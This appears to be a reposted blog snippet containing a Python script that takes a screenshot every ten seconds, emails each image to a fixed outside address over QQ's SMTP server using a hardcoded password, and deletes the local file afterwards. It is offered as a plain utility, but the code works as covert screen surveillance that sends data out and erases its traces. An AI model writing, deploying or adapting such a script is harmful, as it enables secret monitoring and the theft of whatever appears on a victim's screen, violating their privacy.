Pythonは、コンピューターのスクリーンショットを指定されたメールボックスに定期的に送信し、ローカルのスクリーンショットを削除します

Pythonは、コンピューターのスクリーンショットを撮り、指定されたメールボックスに定期的にメールを送信し、ローカルのスクリーンショットを削除します。

import smtplib
from email.mime.text import MIMEText
from email.mime.image import MIMEImage	

#发送多种类型的邮件
from email.mime.multipart import MIMEMultipart

import time
import os
from PIL import ImageGrab
i=1
while True:
    i+=1
    im = ImageGrab.grab()
    im.save('s'+str(i)+'.jpg')
    



    msg_from = '[email protected]'  # 发送方邮箱
    passwd = '4576657657657658'
     
    to= ['[email protected]'] #接受方邮箱
     
    #设置邮件内容
    #MIMEMultipart类可以放任何内容
    msg = MIMEMultipart()
    conntent="这个是字符串"
    #把内容加进去
    #msg.attach(MIMEText(conntent,'plain','utf-8'))

    # 二进制读取图片	
    image_data=open('s'+str(i)+'.jpg','rb')	
    # 设置读取获取的二进制数据	
    message_image = MIMEImage(image_data.read())	
    # 关闭刚才打开的文件	
    image_data.close()	
    # 添加图片文件到邮件信息当中去	
    #msg.attach(message_image)


    att2=MIMEText(open('s'+str(i)+'.jpg','rb').read(),'base64','utf-8')
    att2['Content-Type']='application/octet-stream'   #设置类型是流媒体格式
    att2['Content-Disposition']='attachment;filename=1.jpg\"'  #设置描述信息

    msg.attach(att2)

    #设置邮件主题
    msg['Subject']="这个是邮件主题"
     
    #发送方信息
    msg['From']=msg_from
     
    #开始发送
     
    #通过SSL方式发送,服务器地址和端口
    s = smtplib.SMTP_SSL("smtp.qq.com", 465)
    # 登录邮箱
    s.login(msg_from, passwd)
    #开始发送
    s.sendmail(msg_from,to,msg.as_string())
    print("邮件发送成功")
    time.sleep(10)  #修改发送邮件间隔时间
    os.remove('s'+str(i)+'.jpg')

おすすめ

転載: blog.csdn.net/babyai996/article/details/121486230